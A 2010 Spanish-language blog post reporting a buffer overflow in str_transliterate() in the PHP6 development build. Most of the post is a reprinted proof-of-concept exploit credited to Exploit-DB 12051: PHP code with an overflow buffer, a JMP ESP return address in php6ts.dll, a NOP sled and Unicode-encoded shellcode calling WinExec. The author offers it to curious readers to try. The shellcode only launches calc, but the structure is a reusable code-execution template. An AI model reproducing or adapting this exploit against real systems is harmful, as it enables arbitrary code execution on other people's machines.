domingo, 9 de mayo de 2010

Se descubre un buffer overflow en la versión de desarrollo de PHP6

Se descubre un buffer overflow en la versión de desarrollo de PHP6: "

PHP6 dev, buffer overflow

Estas noticias siempre me ponen la piel de gallina. La verdad es que PHP6 todavía está en desarrollo y siempre es mejor que encuentren fallos críticos como este, un desbordamiento del buffer que permite al atacante ejecutar cualquier aplicación (o código arbitrario) en el ordenador que lance el código malicioso.

La funcion str_transliterate() es la encargada de traducir un texto de un lenguaje a otro (para entendernos), pero nativamente no valida los parámetros de entrada permitiendo así la ejecución de código malicioso utilizando el famoso fallo de buffer overflow.

Por si algún curioso quiere probar el fallo, en DragonJar tenemos una PdC (Prueba de Concepto, Proof of Concept en anglosajón) que ha sido sacada y probada por los chicos de NullByte:

# Title: PHP 6.0 Dev str_transliterate() 0Day Buffer Overflow Exploit # EDB-ID: 12051 # CVE-ID: () # OSVDB-ID: () # Author: Pr0T3cT10n # Published: 2010-04-04 # Verified: yes # Download Exploit Code # Download Vulnerable app

<?php
error_reporting(0);
#####################################################################
## PHP 6.0 Dev str_transliterate() 0Day Buffer Overflow Exploit
## Tested on WIN XP HEB SP3, Apache, PHP 6.0 Dev
## Buffer Overflow
## Bug discovered by Pr0T3cT10n, <pr0t3ct10n@gmail.com>
## Exploited by TheLeader, Debug
## SP. Thanks: HDM
## http://www.nullbyte.org.il
#####################################################################
## This code should exploits a buffer overflow in the str_transliterate() function to call WinExec and execute CALC
## Take a look, 'unicode.semantics' has to be on!
## php.ini > unicode.semantics = on
#####################################################################
if(ini_get_bool('unicode.semantics')) {
$buff = str_repeat("u4141", 256);
$eip = "u1445u10A9"; # 0x10A91445 JMP ESP @ php6ts.dll
$nops = str_repeat("u9090", 20);

# WinExec Calc XP SP3 HEB Unicode-encoded shellcode
$shellcode = "u02EBu05EBuF9E8uFFFFu33FFu5BC0u4388u8315u11C3uBB53u250Du7C86uD3FFu6163u636Cu414E";

# WinExec Calc XP SP3 EN Unicode-encoded shellcode (added by muts)
# $shellcode = "u02EBu05EBuF9E8uFFFFu33FFu5BC0u4388u8315u11C3uBB53u23ADu7C86uD3FFu6163u636Cu414E";

$exploit = $buff.$eip.$nops.$shellcode;
str_transliterate(0, $exploit, 0);
} else {
exit("Error! 'unicode.semantics' has be on!rn");
}

function ini_get_bool($a) {
$b = ini_get($a);
switch (strtolower($b)) {
case 'on':
case 'yes':
case 'true':
return 'assert.active' !== $a;
case 'stdout':
case 'stderr':
return 'display_errors' === $a;
default:
return (bool) (int) $b;
}
}
?>

Poca explicación necesita para los que dominen algo el lenguaje, si necesitáis alguna explicación, preguntad sin vergüenza. Aunque la prueba funciona sólo para Windows XP, ya me parece bastante grave. De todas formas, y para no alarma, repito que es una versión en desarrollo y ahora que ha salido a la luz el error, seguro que lo arreglarán.



"